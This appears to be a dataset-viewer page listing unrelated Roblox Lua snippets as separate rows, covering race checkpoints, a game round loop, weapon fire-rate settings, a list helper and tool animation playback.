--particle.Parent = checkpointCollisionBody
local emitterChildren = particle:GetChildren()
for _, child in pairs(emitterChildren) do
-- If the child is a particle, then cause it to emit
if child:IsA("ParticleEmitter") then
child:Emit(10)
end
end
-- Destroy particle after PARTICLE_DURATION seconds
spawn(function() wait(PARTICLE_DURATION) particle:Destroy() end)
-- Play checkpoint sound
checkpointSound.Parent = checkpointCollisionBody
checkpointSound:Play()
-- Increment checkpoints hit count
numCheckpointsHit = numCheckpointsHit + 1
-- Display checkpoint count
CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints)
end -- checkpointHit()
local function newLap()
if not (activePlayer and inRace) then return end
-- Set up checkpoints (color as not hit)
for _, checkpoint in ipairs(checkpointList) do
local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")
-- Delete hit BoolValue
local hit = checkpoint:FindFirstChild("Hit")
if hit then
hit:Destroy()
end
-- Set color of checkpoint
checkpointCollisionBody.Color = NOT_HIT_COLOR
-- Set color of checkpoint ring if one exists
local ring = checkpoint:FindFirstChild("Ring")
if ring then
ring.Color = NOT_HIT_COLOR
end
end
end -- newLap()
local function resetCheckpoints()
inRace = false
numCheckpointsHit = 0
-- Set up checkpoints (color as not hit)
for _, checkpoint in ipairs(checkpointList) do
local checkpointCollisionBody = checkpoint:FindFirstChild("Checkpoint")
-- Delete hit BoolValue
local hit = checkpoint:FindFirstChild("Hit")
if hit then
hit:Destroy()
end
-- Set color of checkpoint
checkpointCollisionBody.Color = HIT_COLOR
-- Set color of checkpoint ring if one exists
local ring = checkpoint:FindFirstChild("Ring")
if ring then
ring.Color = HIT_COLOR
end
end
arrow:Destroy()
-- Display checkpoint count
CheckpointCount.Text = tostring(numCheckpointsHit).."/"..tostring(numCheckpoints)
end -- resetCheckpoints()
local function setActive(args)
local active = false
if #args >= 1 then
active = args[1]
else
return
end
activePlayer = active
-- No longer in current race if no longer active
if (not active and inRace) then
inRace = false
resetCheckpoints()
end
if not active then
-- Hide racing GUIs
local PlayerGui = player.PlayerGui
local TopBar = PlayerGui:FindFirstChild("TopBar")
TopBar.Enabled = false
end
end -- setActive()
local function raceFinished()
RaceFinishedSound:Play()
end
local function checkpointEvent(args)
for _, arg in pairs(args) do
if arg[1] == "setup" then
table.remove(arg, 1)
setupCheckpoints(arg)
elseif arg[1] == "checkpointHit" then
table.remove(arg, 1)
checkpointHit(arg)
elseif arg[1] == "newLap" then
newLap()
elseif arg[1] == "reset" then
resetCheckpoints()
elseif arg[1] == "setActive" then
table.remove(arg, 1)
setActive(arg)
elseif arg[1] == "raceFinished" then
table.remove(arg, 1)
raceFinished()
end
end
end -- checkpointEvent()
|
--// Handling Settings
|
Firerate = 60 / 780; -- 60 = 1 Minute, 780 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
-- Main loop for the entire game
|
RaceManager:SetRaceDuration(GameSettings.roundDuration)
while true do
-- Only enter 'Waiting for Players' loop if there are not enough players to start
-- a round
if #PlayerManager.ActivePlayers < GameSettings.minimumPlayers then
RaceManager:SetRaceStatus(RaceManager.Status.WaitingForPlayers)
DisplayManager.updateTime(0)
PlayerManager.MiminumActivePlayers:Wait()
end
-- Actual Intermission
gameTimer:stop()
RaceManager:SetRaceStatus(RaceManager.Status.WaitingForRaceToStart)
gameTimer:start(GameSettings.intermissionDuration)
DisplayManager.trackTimer(gameTimer)
gameTimer.finished:Wait()
-- Prepare players at start of race and start countdown
PlayerManager:PreparePlayers()
RaceManager:SetRaceStatus(RaceManager.Status.Countdown)
gameTimer:stop()
gameTimer:start(GameSettings.countdownDuration)
DisplayManager.trackTimer(gameTimer)
gameTimer.finished:Wait()
-- Start the race
PlayerManager:StartPlayer()
RaceManager:SetRaceStatus(RaceManager.Status.RoundInProgress)
gameTimer:stop()
gameTimer:start(GameSettings.roundDuration)
DisplayManager.trackTimer(gameTimer)
RaceManager:Start(PlayerManager.ActivePlayers)
-- Waits until the roundEnd event has fired before continuing the script
local resultString, raceFinished
raceFinished = RaceManager.RaceFinished:Connect(function(winner)
if winner then
resultString = "WINNER: "..winner.Name
LeaderboardManager:incrementStat(winner, "Wins")
else
resultString = "NOBODY WON!"
end
raceFinished:Disconnect()
end)
RaceManager.RaceFinished:wait()
DisplayManager.updateTime(0)
repeat wait() until resultString
local timeLeft = gameTimer:getTimeLeft() or 0
local resultTime = GameSettings.roundDuration - timeLeft
gameTimer:stop()
PlayerManager:DisplayRoundResult(resultString, resultTime)
gameTimer:start(GameSettings.transitionEnd)
DisplayManager.trackTimer(gameTimer)
-- Starts the end intermission
RaceManager:SetRaceStatus(RaceManager.Status.RoundOver)
wait(GameSettings.transitionEnd)
-- Resets the game by moving players back into the lobby and clearing used variables
PlayerManager:ResetPlayers()
end
|
--[[
Remove the element at the given index.
]]
|
local function removeIndex(list, index)
local new = {}
local removed = 0
for i = 1, #list do
if i == index then
removed = 1
else
new[i - removed] = list[i]
end
end
return new
end
return removeIndex
|
-- / Game Assets / --
|
local GameAssets = game.ServerStorage.GameAssets
local Badges = GameAssets.Badges
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid, priority)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
if priority then
toolAnimTrack.Priority = priority
end
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.